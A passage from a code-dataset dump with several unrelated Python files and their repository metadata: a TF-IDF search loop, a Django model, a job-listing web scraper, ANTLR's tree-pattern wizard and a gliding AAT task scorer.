norm_document += document_vectors[document][term] ** 2
if norm_document !=0:
similarity = product / np.sqrt(norm_query * norm_document)
return similarity
else:
return 0
def ProcessQueriesWithChampionsList():
print("Preparing Data For Query Processing, Please Wait...")
tf_idf, document_vectors, document_frequencies, titles, contents = Load_TFIDF(), Load_DocumentVectors(), make_document_frequencies(), Load_Data('title'), Load_Data('content')
champions_lists = Load_Champions_Lists()
while True:
query = get_input()
start_time = time.time()
candidate_documents, scores = [], []
for term in query:
for doc_id in champions_lists[term]:
candidate_documents.append(doc_id)
for index in candidate_documents:
similarity = Similarity(query, index, tf_idf, document_vectors, document_frequencies)
heapq.heappush(scores, (((-1) * similarity,index)))
best = heapq.nsmallest(10,scores)
doc_IDs = [tmp[1] for tmp in best]
for i in range(10):
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~")
print(str(i+1)+"." + titles[doc_IDs[i]]+ " --> ID:" + str(doc_IDs[i]+1), '\n')
print(contents[doc_IDs[i]],'\n')
print("\n", end = '')
print("--- %s seconds ---" % (time.time() - start_time))
print("\n\n")
ProcessQueriesWithChampionsList() | [
"noreply@github.com"
] | MehradShm.noreply@github.com |
0f58a8a16e9d3081549963a9efac5d9f24e9b245 | dd046ba0927e651fa490780ebdd5d30eaa292595 | /api/models.py | 804d5957d3cbd8c708992e8c2f829ef61b2f4cd0 | [] | no_license | ashrafulislamemon/django-rest-Frame_notes | 5760e66b3c0672d57bb8d9a8933e8df2f516cc42 | 0af50a60a050e37f8ea4b22006cee345223ffd36 | refs/heads/master | 2023-02-13T17:33:44.094721 | 2021-01-05T15:42:59 | 2021-01-05T15:42:59 | 327,042,907 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 200 | py | from django.db import models
# Create your models here.
class Student(models.Model):
name=models.CharField(max_length=30)
roll=models.IntegerField()
city=models.CharField(max_length=30)
| [
"75039527+ashrafulislamemon@users.noreply.github.com"
] | 75039527+ashrafulislamemon@users.noreply.github.com |
410b397dc6a489aa072140828831f2d5c2b5bc1d | b70964419f820d7b5979e11c6b1dcc3ad6e2f32b | /my-projects/how-to-web-scrap/beautifulsoup-tutorial.py | d217108d769d10b59393bf32cf0eafc89c5c847e | [] | no_license | pedrogaldiano/learning-python | d381c8d149766e29579270945956f33aa28a867a | b036de991a926c021a97e60b6b8bba063b3e04b9 | refs/heads/master | 2023-06-05T15:24:07.670598 | 2021-06-12T00:37:55 | 2021-06-12T00:37:55 | 351,215,403 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,201 | py | from bs4 import BeautifulSoup
import requests
url = 'https://www.timesjobs.com/candidate/job-search.html?searchType=personalizedSearch&from=submit&txtKeywords=python&txtLocation='
html_text = requests.get(url).text
soup = BeautifulSoup(html_text, 'lxml')
jobs = soup.find_all('li', class_="clearfix job-bx wht-shd-bx")
for job in jobs:
# job = soup.find('li', class_="clearfix job-bx wht-shd-bx")
# job_title = job.find('strong', class_="blkclor").text.strip()
job_company = job.find('h3', class_="joblist-comp-name").text.strip()
job_exp = job.ul.li.text.strip()
job_loc = job.ul.span.text.strip()
job_info = job.find('ul', class_="list-job-dtl clearfix")
job_skills = job_info.span.text.strip().replace(' ', '').replace(',', ', ')
# job_desc = job_info.li.text.strip()
# index_job_desc1 = job_desc.index(':') + 3
# index_job_desc2 = job_desc.index('...') + 3
# job_posted = job.find('span', class_="sim-posted").text.strip()
job_more = job.find('a')['href']
print(f'''
Skills: {job_skills}
Experience: {job_exp[11:]}
Location: {job_loc}
Company: {job_company}
Link : {job_more}''')
| [
"noreply@github.com"
] | pedrogaldiano.noreply@github.com |
f0ca2ca8e3d495e1b3a28c35d67234789796811b | 32c56293475f49c6dd1b0f1334756b5ad8763da9 | /google-cloud-sdk/lib/third_party/antlr3/treewizard.py | f598edde386f82916f466737236f3becde4458a3 | [
"BSD-3-Clause",
"MIT",
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | bopopescu/socialliteapp | b9041f17f8724ee86f2ecc6e2e45b8ff6a44b494 | 85bb264e273568b5a0408f733b403c56373e2508 | refs/heads/master | 2022-11-20T03:01:47.654498 | 2020-02-01T20:29:43 | 2020-02-01T20:29:43 | 282,403,750 | 0 | 0 | MIT | 2020-07-25T08:31:59 | 2020-07-25T08:31:59 | null | UTF-8 | Python | false | false | 16,576 | py | # Lint as: python2, python3
""" @package antlr3.tree
@brief ANTLR3 runtime package, treewizard module
A utility module to create ASTs at runtime.
See <http://www.antlr.org/wiki/display/~admin/2007/07/02/Exploring+Concept+of+TreeWizard> for an overview. Note that the API of the Python implementation is slightly different.
"""
# begin[licence]
#
# [The "BSD licence"]
# Copyright (c) 2005-2008 Terence Parr
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. The name of the author may not be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# end[licence]
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from antlr3.constants import INVALID_TOKEN_TYPE
from antlr3.tokens import CommonToken
from antlr3.tree import CommonTree, CommonTreeAdaptor
import six
from six.moves import range
def computeTokenTypes(tokenNames):
"""
Compute a dict that is an inverted index of
tokenNames (which maps int token types to names).
"""
if tokenNames is None:
return {}
return dict((name, type) for type, name in enumerate(tokenNames))
## token types for pattern parser
EOF = -1
BEGIN = 1
END = 2
ID = 3
ARG = 4
PERCENT = 5
COLON = 6
DOT = 7
class TreePatternLexer(object):
def __init__(self, pattern):
## The tree pattern to lex like "(A B C)"
self.pattern = pattern
## Index into input string
self.p = -1
## Current char
self.c = None
## How long is the pattern in char?
self.n = len(pattern)
## Set when token type is ID or ARG
self.sval = None
self.error = False
self.consume()
__idStartChar = frozenset(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_')
__idChar = __idStartChar | frozenset('0123456789')
def nextToken(self):
self.sval = ''
while self.c != EOF:
if self.c in (' ', '\n', '\r', '\t'):
self.consume()
continue
if self.c in self.__idStartChar:
self.sval += self.c
self.consume()
while self.c in self.__idChar:
self.sval += self.c
self.consume()
return ID
if self.c == '(':
self.consume()
return BEGIN
if self.c == ')':
self.consume()
return END
if self.c == '%':
self.consume()
return PERCENT
if self.c == ':':
self.consume()
return COLON
if self.c == '.':
self.consume()
return DOT
if self.c == '[': # grab [x] as a string, returning x
self.consume()
while self.c != ']':
if self.c == '\\':
self.consume()
if self.c != ']':
self.sval += '\\'
self.sval += self.c
else:
self.sval += self.c
self.consume()
self.consume()
return ARG
self.consume()
self.error = True
return EOF
return EOF
def consume(self):
self.p += 1
if self.p >= self.n:
self.c = EOF
else:
self.c = self.pattern[self.p]
class TreePatternParser(object):
def __init__(self, tokenizer, wizard, adaptor):
self.tokenizer = tokenizer
self.wizard = wizard
self.adaptor = adaptor
self.ttype = tokenizer.nextToken() # kickstart
def pattern(self):
if self.ttype == BEGIN:
return self.parseTree()
elif self.ttype == ID:
node = self.parseNode()
if self.ttype == EOF:
return node
return None # extra junk on end
return None
def parseTree(self):
if self.ttype != BEGIN:
return None
self.ttype = self.tokenizer.nextToken()
root = self.parseNode()
if root is None:
return None
while self.ttype in (BEGIN, ID, PERCENT, DOT):
if self.ttype == BEGIN:
subtree = self.parseTree()
self.adaptor.addChild(root, subtree)
else:
child = self.parseNode()
if child is None:
return None
self.adaptor.addChild(root, child)
if self.ttype != END:
return None
self.ttype = self.tokenizer.nextToken()
return root
def parseNode(self):
# "%label:" prefix
label = None
if self.ttype == PERCENT:
self.ttype = self.tokenizer.nextToken()
if self.ttype != ID:
return None
label = self.tokenizer.sval
self.ttype = self.tokenizer.nextToken()
if self.ttype != COLON:
return None
self.ttype = self.tokenizer.nextToken() # move to ID following colon
# Wildcard?
if self.ttype == DOT:
self.ttype = self.tokenizer.nextToken()
wildcardPayload = CommonToken(0, '.')
node = WildcardTreePattern(wildcardPayload)
if label is not None:
node.label = label
return node
# "ID" or "ID[arg]"
if self.ttype != ID:
return None
tokenName = self.tokenizer.sval
self.ttype = self.tokenizer.nextToken()
if tokenName == 'nil':
return self.adaptor.nil()
text = tokenName
# check for arg
arg = None
if self.ttype == ARG:
arg = self.tokenizer.sval
text = arg
self.ttype = self.tokenizer.nextToken()
# create node
treeNodeType = self.wizard.getTokenType(tokenName)
if treeNodeType == INVALID_TOKEN_TYPE:
return None
node = self.adaptor.createFromType(treeNodeType, text)
if label is not None and isinstance(node, TreePattern):
node.label = label
if arg is not None and isinstance(node, TreePattern):
node.hasTextArg = True
return node
class TreePattern(CommonTree):
"""
When using %label:TOKENNAME in a tree for parse(), we must
track the label.
"""
def __init__(self, payload):
CommonTree.__init__(self, payload)
self.label = None
self.hasTextArg = None
def toString(self):
if self.label is not None:
return '%' + self.label + ':' + CommonTree.toString(self)
else:
return CommonTree.toString(self)
class WildcardTreePattern(TreePattern):
pass
class TreePatternTreeAdaptor(CommonTreeAdaptor):
"""This adaptor creates TreePattern objects for use during scan()"""
def createWithPayload(self, payload):
return TreePattern(payload)
class TreeWizard(object):
"""
Build and navigate trees with this object. Must know about the names
of tokens so you have to pass in a map or array of token names (from which
this class can build the map). I.e., Token DECL means nothing unless the
class can translate it to a token type.
In order to create nodes and navigate, this class needs a TreeAdaptor.
This class can build a token type -> node index for repeated use or for
iterating over the various nodes with a particular type.
This class works in conjunction with the TreeAdaptor rather than moving
all this functionality into the adaptor. An adaptor helps build and
navigate trees using methods. This class helps you do it with string
patterns like "(A B C)". You can create a tree from that pattern or
match subtrees against it.
"""
def __init__(self, adaptor=None, tokenNames=None, typeMap=None):
self.adaptor = adaptor
if typeMap is None:
self.tokenNameToTypeMap = computeTokenTypes(tokenNames)
else:
if tokenNames is not None:
raise ValueError("Can't have both tokenNames and typeMap")
self.tokenNameToTypeMap = typeMap
def getTokenType(self, tokenName):
"""Using the map of token names to token types, return the type."""
try:
return self.tokenNameToTypeMap[tokenName]
except KeyError:
return INVALID_TOKEN_TYPE
def create(self, pattern):
"""
Create a tree or node from the indicated tree pattern that closely
follows ANTLR tree grammar tree element syntax:
(root child1 ... child2).
You can also just pass in a node: ID
Any node can have a text argument: ID[foo]
(notice there are no quotes around foo--it's clear it's a string).
nil is a special name meaning "give me a nil node". Useful for
making lists: (nil A B C) is a list of A B C.
"""
tokenizer = TreePatternLexer(pattern)
parser = TreePatternParser(tokenizer, self, self.adaptor)
return parser.pattern()
def index(self, tree):
"""Walk the entire tree and make a node name to nodes mapping.
For now, use recursion but later nonrecursive version may be
more efficient. Returns a dict int -> list where the list is
of your AST node type. The int is the token type of the node.
"""
m = {}
self._index(tree, m)
return m
def _index(self, t, m):
"""Do the work for index"""
if t is None:
return
ttype = self.adaptor.getType(t)
elements = m.get(ttype)
if elements is None:
m[ttype] = elements = []
elements.append(t)
for i in range(self.adaptor.getChildCount(t)):
child = self.adaptor.getChild(t, i)
self._index(child, m)
def find(self, tree, what):
"""Return a list of matching token.
what may either be an integer specifzing the token type to find or
a string with a pattern that must be matched.
"""
if isinstance(what, six.integer_types):
return self._findTokenType(tree, what)
elif isinstance(what, six.string_types):
return self._findPattern(tree, what)
else:
raise TypeError("'what' must be string or integer")
def _findTokenType(self, t, ttype):
"""Return a List of tree nodes with token type ttype"""
nodes = []
def visitor(tree, parent, childIndex, labels):
nodes.append(tree)
self.visit(t, ttype, visitor)
return nodes
def _findPattern(self, t, pattern):
"""Return a List of subtrees matching pattern."""
subtrees = []
# Create a TreePattern from the pattern
tokenizer = TreePatternLexer(pattern)
parser = TreePatternParser(tokenizer, self, TreePatternTreeAdaptor())
tpattern = parser.pattern()
# don't allow invalid patterns
if (tpattern is None or tpattern.isNil() or
isinstance(tpattern, WildcardTreePattern)):
return None
rootTokenType = tpattern.getType()
def visitor(tree, parent, childIndex, label):
if self._parse(tree, tpattern, None):
subtrees.append(tree)
self.visit(t, rootTokenType, visitor)
return subtrees
def visit(self, tree, what, visitor):
"""Visit every node in tree matching what, invoking the visitor.
If what is a string, it is parsed as a pattern and only matching
subtrees will be visited.
The implementation uses the root node of the pattern in combination
with visit(t, ttype, visitor) so nil-rooted patterns are not allowed.
Patterns with wildcard roots are also not allowed.
If what is an integer, it is used as a token type and visit will match
all nodes of that type (this is faster than the pattern match).
The labels arg of the visitor action method is never set (it's None)
since using a token type rather than a pattern doesn't let us set a
label.
"""
if isinstance(what, six.integer_types):
self._visitType(tree, None, 0, what, visitor)
elif isinstance(what, six.string_types):
self._visitPattern(tree, what, visitor)
else:
raise TypeError("'what' must be string or integer")
def _visitType(self, t, parent, childIndex, ttype, visitor):
"""Do the recursive work for visit"""
if t is None:
return
if self.adaptor.getType(t) == ttype:
visitor(t, parent, childIndex, None)
for i in range(self.adaptor.getChildCount(t)):
child = self.adaptor.getChild(t, i)
self._visitType(child, t, i, ttype, visitor)
def _visitPattern(self, tree, pattern, visitor):
"""
For all subtrees that match the pattern, execute the visit action.
"""
# Create a TreePattern from the pattern
tokenizer = TreePatternLexer(pattern)
parser = TreePatternParser(tokenizer, self, TreePatternTreeAdaptor())
tpattern = parser.pattern()
# don't allow invalid patterns
if (tpattern is None or tpattern.isNil() or
isinstance(tpattern, WildcardTreePattern)):
return
rootTokenType = tpattern.getType()
def rootvisitor(tree, parent, childIndex, labels):
labels = {}
if self._parse(tree, tpattern, labels):
visitor(tree, parent, childIndex, labels)
self.visit(tree, rootTokenType, rootvisitor)
def parse(self, t, pattern, labels=None):
"""
Given a pattern like (ASSIGN %lhs:ID %rhs:.) with optional labels
on the various nodes and '.' (dot) as the node/subtree wildcard,
return true if the pattern matches and fill the labels Map with
the labels pointing at the appropriate nodes. Return false if
the pattern is malformed or the tree does not match.
If a node specifies a text arg in pattern, then that must match
for that node in t.
"""
tokenizer = TreePatternLexer(pattern)
parser = TreePatternParser(tokenizer, self, TreePatternTreeAdaptor())
tpattern = parser.pattern()
return self._parse(t, tpattern, labels)
def _parse(self, t1, t2, labels):
"""
Do the work for parse. Check to see if the t2 pattern fits the
structure and token types in t1. Check text if the pattern has
text arguments on nodes. Fill labels map with pointers to nodes
in tree matched against nodes in pattern with labels.
"""
# make sure both are non-null
if t1 is None or t2 is None:
return False
# check roots (wildcard matches anything)
if not isinstance(t2, WildcardTreePattern):
if self.adaptor.getType(t1) != t2.getType():
return False
if t2.hasTextArg and self.adaptor.getText(t1) != t2.getText():
return False
if t2.label is not None and labels is not None:
# map label in pattern to node in t1
labels[t2.label] = t1
# check children
n1 = self.adaptor.getChildCount(t1)
n2 = t2.getChildCount()
if n1 != n2:
return False
for i in range(n1):
child1 = self.adaptor.getChild(t1, i)
child2 = t2.getChild(i)
if not self._parse(child1, child2, labels):
return False
return True
def equals(self, t1, t2, adaptor=None):
"""
Compare t1 and t2; return true if token types/text, structure match
exactly.
The trees are examined in their entirety so that (A B) does not match
(A B C) nor (A (B C)).
"""
if adaptor is None:
adaptor = self.adaptor
return self._equals(t1, t2, adaptor)
def _equals(self, t1, t2, adaptor):
# make sure both are non-null
if t1 is None or t2 is None:
return False
# check roots
if adaptor.getType(t1) != adaptor.getType(t2):
return False
if adaptor.getText(t1) != adaptor.getText(t2):
return False
# check children
n1 = adaptor.getChildCount(t1)
n2 = adaptor.getChildCount(t2)
if n1 != n2:
return False
for i in range(n1):
child1 = adaptor.getChild(t1, i)
child2 = adaptor.getChild(t2, i)
if not self._equals(child1, child2, adaptor):
return False
return True
| [
"jonathang132298@gmail.com"
] | jonathang132298@gmail.com |
e517a4e977ffd0b1e18504e754d6ce20511c5237 | bcf9dd812926ffcbe57a3cfc821324913fec5391 | /opensoar/task/aat.py | a8f282a6c26cc0f662fcde6591a6e91e5472d0cc | [
"MIT"
] | permissive | jkretz/opensoar | 3e2c6fa817e87f55024f47556ea1619b3ed6b1bc | e330c4697284c1f79f85f1c2fc7400fd6246dbe0 | refs/heads/master | 2023-07-25T03:58:17.623761 | 2018-08-01T20:26:25 | 2018-08-01T20:26:25 | 153,887,721 | 0 | 0 | MIT | 2018-10-20T09:01:13 | 2018-10-20T09:01:13 | null | UTF-8 | Python | false | false | 15,624 | py | import datetime
from copy import deepcopy
from opensoar.task.task import Task
from opensoar.utilities.helper_functions import double_iterator, calculate_distance, \
calculate_bearing, calculate_destination, seconds_time_difference_fixes, add_times
class AAT(Task):
"""
Assigned Area Task.
"""
def __init__(self, waypoints, t_min: datetime.timedelta, timezone: int=None, start_opening: datetime.time=None,
start_time_buffer: int=0, multistart: bool=False):
"""
:param waypoints: see super()
:param t_min: minimal time to complete task
:param timezone: see super()
:param start_opening: see super()
:param start_time_buffer: see super()
:param multistart: see super()
"""
super().__init__(waypoints, timezone, start_opening, start_time_buffer, multistart)
self._t_min = t_min
self._nominal_distances = self._calculate_nominal_distances()
def __eq__(self, other):
if self.t_min != other.t_min:
return False
else:
return super().__eq__(other)
@property
def t_min(self):
return self._t_min
def _calculate_nominal_distances(self):
distances = list()
for start_waypoint, end_waypoint in double_iterator(self.waypoints):
distance = calculate_distance(start_waypoint.fix, end_waypoint.fix)
distances.append(distance)
return distances
def apply_rules(self, trace):
fixes, outlanding_fix = self._calculate_trip_fixes(trace)
start_time = self.determine_refined_start(trace, fixes)
distances = self._determine_trip_distances(fixes, outlanding_fix)
finish_time = self._determine_finish_time(fixes, outlanding_fix)
return fixes, start_time, outlanding_fix, distances, finish_time
def _determine_finish_time(self, fixes, outlanding_fix):
total_trip_time = seconds_time_difference_fixes(fixes[0], fixes[-1])
minimum_trip_time = self._t_min.total_seconds()
if outlanding_fix is None and total_trip_time < minimum_trip_time:
finish_time = add_times(fixes[0]['time'], self._t_min)
else:
finish_time = fixes[-1]['time']
return finish_time
def _calculate_trip_fixes(self, trace):
sector_fixes, enl_outlanding_fix = self._get_sector_fixes(trace)
reduced_sector_fixes = self._reduce_sector_fixes(sector_fixes, max_fixes_sector=300)
outlanded = len(sector_fixes) != self.no_legs+1
if outlanded:
outside_sector_fixes = self._get_outside_sector_fixes(trace, sector_fixes, enl_outlanding_fix)
reduced_outside_sector_fixes = self._reduce_fixes(outside_sector_fixes, max_fixes=300)
waypoint_fixes = self._get_waypoint_fixes(outlanded, reduced_sector_fixes, reduced_outside_sector_fixes)
max_distance_fixes = self._compute_max_distance_fixes(outlanded, waypoint_fixes)
waypoint_fixes = self._refine_max_distance_fixes(outlanded, max_distance_fixes, sector_fixes,
reduced_outside_sector_fixes)
max_distance_fixes = self._compute_max_distance_fixes(outlanded, waypoint_fixes)
trip_fixes = max_distance_fixes[:-1]
outlanding_fix = max_distance_fixes[-1]
else:
max_distance_fixes = self._compute_max_distance_fixes(outlanded, reduced_sector_fixes)
waypoint_fixes = self._refine_max_distance_fixes(outlanded, max_distance_fixes, sector_fixes)
max_distance_fixes = self._compute_max_distance_fixes(outlanded, waypoint_fixes)
trip_fixes = max_distance_fixes
outlanding_fix = None
return trip_fixes, outlanding_fix
def _determine_trip_distances(self, fixes, outlanding_fix):
distances = list()
for leg, (fix1, fix2) in enumerate(double_iterator(fixes)):
distance = self._calculate_distance_completed_leg(leg, fix1, fix2)
distances.append(distance)
if outlanding_fix is not None:
outlanding_leg = len(fixes) - 1
distance = self._calculate_distance_outlanding_leg(outlanding_leg, fixes[-1], outlanding_fix)
distances.append(distance)
return distances
def _get_sector_fixes(self, trace):
current_leg = -1 # not yet started
sector_fixes = list()
enl_first_fix = None
enl_registered = False
for fix_minus1, fix in double_iterator(trace):
# check ENL when aircraft logs ENL and no ENL outlanding has taken place
if not enl_registered and self.enl_value_exceeded(fix):
if enl_first_fix is None:
enl_first_fix = fix
enl_time = seconds_time_difference_fixes(enl_first_fix, fix)
if self.enl_time_exceeded(enl_time):
enl_registered = True
if current_leg > 0:
break
elif not enl_registered:
enl_first_fix = None
if current_leg == -1: # before start
if self.started(fix_minus1, fix):
self._add_aat_sector_fix(sector_fixes, 0, fix_minus1) # at task start point
current_leg = 0
enl_registered = False
enl_first_fix = None
elif current_leg == 0: # first leg, re-start still possible
if self.started(fix_minus1, fix): # restart
sector_fixes[0] = [fix_minus1] # at task start point
current_leg = 0
enl_registered = False
enl_first_fix = None
elif self.waypoints[1].inside_sector(fix_minus1): # first sector
if enl_registered:
break # break when ENL is used and not restarted
self._add_aat_sector_fix(sector_fixes, 1, fix_minus1)
current_leg += 1
elif 0 < current_leg < self.no_legs - 1: # at least second leg, no re-start possible
if self.waypoints[current_leg].inside_sector(fix_minus1): # previous waypoint
self._add_aat_sector_fix(sector_fixes, current_leg, fix_minus1)
elif self.waypoints[current_leg + 1].inside_sector(fix_minus1): # next waypoint
self._add_aat_sector_fix(sector_fixes, current_leg + 1, fix_minus1)
current_leg += 1
elif current_leg == self.no_legs - 1: # last leg
if self.waypoints[current_leg].inside_sector(fix_minus1):
self._add_aat_sector_fix(sector_fixes, current_leg, fix_minus1)
elif self.finished(fix_minus1, fix):
sector_fixes.append([fix]) # at task finish point
break
# add last fix to sector if not already present
last_fix = trace[-1]
last_waypoint = self.waypoints[current_leg]
if not last_waypoint.is_line and last_waypoint.inside_sector(last_fix) and last_fix is not sector_fixes[-1][-1]:
sector_fixes[-1].append(last_fix)
if enl_registered:
return sector_fixes, enl_first_fix
else:
return sector_fixes, None
def _reduce_fixes(self, fixes, max_fixes):
reduction_factor = len(fixes) // max_fixes + 1
return fixes[0::reduction_factor]
def _reduce_sector_fixes(self, sector_fixes, max_fixes_sector):
reduced_sector_fixes = list()
for sector, fixes in enumerate(sector_fixes):
reduced_fixes = self._reduce_fixes(fixes, max_fixes_sector)
reduced_sector_fixes.append(reduced_fixes)
return reduced_sector_fixes
def _get_outside_sector_fixes(self, trace, sector_fixes, enl_outlanding_fix):
last_sector_fix = sector_fixes[-1][-1]
last_sector_index = trace.index(last_sector_fix)
outside_sector_fixes = list()
if enl_outlanding_fix is not None:
enl_outlanding_index = trace.index(enl_outlanding_fix)
if enl_outlanding_index > last_sector_index:
outside_sector_fixes = trace[last_sector_index + 1: enl_outlanding_index + 1]
else:
outside_sector_fixes = trace[last_sector_index+1:]
return outside_sector_fixes
def _add_aat_sector_fix(self, sector_fixes, taskpoint_index, fix):
if len(sector_fixes) < (taskpoint_index + 1):
sector_fixes.append([fix])
else:
sector_fixes[taskpoint_index].append(fix)
def _compute_max_distance_fixes(self, outlanded, waypoint_fixes):
distances = self._calculate_distances_between_sector_fixes(outlanded, waypoint_fixes)
# determine index on last sector/outlanding-group with maximum distance
max_dist = 0
maximized_dist_index = None
for index, distance in enumerate(distances[-1]):
if distance[0] > max_dist:
max_dist = distance[0]
maximized_dist_index = index
last_fix = waypoint_fixes[-1][maximized_dist_index]
max_distance_fixes = [last_fix]
index = maximized_dist_index
legs = len(waypoint_fixes) - 1
for leg in list(reversed(range(legs))):
index = distances[leg + 1][index][1]
max_distance_fix = waypoint_fixes[leg][index]
max_distance_fixes.insert(0, max_distance_fix)
return max_distance_fixes
def _calculate_distances_between_sector_fixes(self, outlanded, waypoint_fixes):
distances = [[]] * len(waypoint_fixes)
distances[0] = [[0, 0]] * len(waypoint_fixes[0])
completed_legs = len(waypoint_fixes) - 1
if outlanded:
completed_legs -= 1
for leg in range(completed_legs): # successful legs
distances[leg + 1] = [[0, 0] for _ in range(len(waypoint_fixes[leg + 1]))]
for fix2_index, fix2 in enumerate(waypoint_fixes[leg + 1]):
for fix1_index, fix1 in enumerate(waypoint_fixes[leg]):
distance = self._calculate_distance_completed_leg(leg, fix1, fix2)
total_distance = distances[leg][fix1_index][0] + distance
if total_distance > distances[leg + 1][fix2_index][0]:
distances[leg + 1][fix2_index] = [total_distance, fix1_index]
if outlanded:
leg = completed_legs
distances[leg + 1] = [[0, 0] for _ in range(len(waypoint_fixes[leg + 1]))]
for fix2_index, fix2 in enumerate(waypoint_fixes[leg + 1]):
for fix1_index, fix1 in enumerate(waypoint_fixes[leg][0:fix2_index+1]):
distance = self._calculate_distance_outlanding_leg(leg, fix1, fix2)
total_distance = distances[leg][fix1_index][0] + distance
if total_distance > distances[leg + 1][fix2_index][0]:
distances[leg + 1][fix2_index] = [total_distance, fix1_index]
return distances
def _refine_max_distance_fixes(self, outlanded, max_distance_fixes, sector_fixes, outside_sector_fixes=None):
"""look around fixes whether more precise fixes can be found, increasing the distance"""
if outside_sector_fixes is None:
outside_sector_fixes = []
refinement_fixes = 10
waypoint_fixes = [[max_distance_fixes[0]]] # already include start fix
successfull_legs = len(max_distance_fixes) - 1
if outlanded:
successfull_legs -= 1
for leg in range(len(max_distance_fixes) - 1):
on_outlanding_leg = outlanded and leg > successfull_legs - 1
fix = max_distance_fixes[leg+1]
if on_outlanding_leg:
if outside_sector_fixes:
fixes = outside_sector_fixes
else:
fixes = sector_fixes[leg]
else:
fixes = sector_fixes[leg + 1]
refinement_end, refinement_start = self._get_refinement_bounds(fix, fixes, refinement_fixes)
waypoint_fixes.append(fixes[refinement_start:refinement_end])
return waypoint_fixes
def _get_refinement_bounds(self, fix, fixes, refinement_fixes):
"""
:param fix:
:param fixes:
:param refinement_fixes: this number of fixes before and after each fix
:return:
"""
max_distance_index = fixes.index(fix)
refinement_start = max(max_distance_index - refinement_fixes, 0)
refinement_end = min(len(fixes) + 1, max_distance_index + refinement_fixes + 1)
return refinement_end, refinement_start
def _calculate_distance_outlanding_leg(self, leg, start_tp_fix, outlanding_fix):
if leg == 0:
tp1 = self.waypoints[leg + 1]
bearing = calculate_bearing(start_tp_fix, outlanding_fix)
closest_area_fix = calculate_destination(start_tp_fix, tp1.r_max, bearing)
distance = calculate_distance(self.start.fix, closest_area_fix)
distance -= calculate_distance(outlanding_fix, closest_area_fix)
elif leg == self.no_legs - 1: # take finish-point of task
distance = calculate_distance(start_tp_fix, self.finish.fix)
distance -= calculate_distance(self.finish.fix, outlanding_fix)
else:
tp1 = self.waypoints[leg + 1]
bearing = calculate_bearing(tp1.fix, outlanding_fix)
closest_area_fix = calculate_destination(tp1.fix, tp1.r_max, bearing)
if leg == 0:
distance = calculate_distance(self.start.fix, closest_area_fix)
else:
distance = calculate_distance(start_tp_fix, closest_area_fix)
distance -= calculate_distance(outlanding_fix, closest_area_fix)
return distance
def _calculate_distance_completed_leg(self, leg, start_tp_fix, end_tp_fix):
if leg == 0: # take start-point of task
start = self.waypoints[0]
distance = calculate_distance(start.fix, end_tp_fix)
if start.distance_correction == 'shorten_legs':
distance -= start.r_max
elif leg == self.no_legs - 1: # take finish-point of task
finish = self.waypoints[-1]
distance = calculate_distance(start_tp_fix, finish.fix)
if finish.distance_correction == 'shorten_legs':
distance -= finish.r_max
else:
distance = calculate_distance(start_tp_fix, end_tp_fix)
return distance
def _get_waypoint_fixes(self, outlanded, sector_fixes, outside_sector_fixes=None):
"""
Waypoint fixes are fixes which can be used for the distance optimisation. They are grouped per waypoint. In
case of an outlanding, the last sector waypoints are duplicated at the enable optimisation inside the sector.
Optional fixes outside the sector on the outlanding leg are also added in the last list.
:param outlanded:
:param sector_fixes:
:param outside_sector_fixes:
:return:
"""
if outside_sector_fixes is None:
outside_sector_fixes = list()
waypoint_fixes = deepcopy(sector_fixes)
if outlanded:
waypoint_fixes.append(sector_fixes[-1])
waypoint_fixes[-1].extend(outside_sector_fixes)
return waypoint_fixes
| [
"GliderGeek@users.noreply.github.com"
] | GliderGeek@users.noreply.github.com |
34017423ccd92177b7ccc9ac8445d31505fcfc05 | 20aadf6ec9fd64d1d6dffff56b05853e0ab26b1f | /problemset3/hangmanPart1.py | 98e635434a0aee5915adad9d46256d25316d340e | [] | no_license | feminas-k/MITx---6.00.1x | 9a8e81630be784e5aaa890d811674962c66d56eb | 1ddf24c25220f8b5f78d36e2a3342b6babb40669 | refs/heads/master | 2021-01-19T00:59:57.434511 | 2016-06-13T18:13:17 | 2016-06-13T18:13:17 | 61,058,244 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 423 | py | def isWordGuessed(secretWord, lettersGuessed):
'''
secretWord: string, the word the user is guessing
lettersGuessed: list, what letters have been guessed so far
returns: boolean, True if all the letters of secretWord are in lettersGuessed;
False otherwise
'''
# FILL IN YOUR CODE HERE...
for i in secretWord:
if i not in lettersGuessed:
return False
return True
| [
"femi1991@gmail.com"
] | femi1991@gmail.com |
a13aff91ea61f82280ceae0feb8ad248185c068d | 8c365e5d817a0bb2000b9158f23dece49725978f | /Python/Algo/Sorting/binary_sort.py | 6da33ec142d6fbaa54691ef42772b0d3d4d9d501 | [
"MIT"
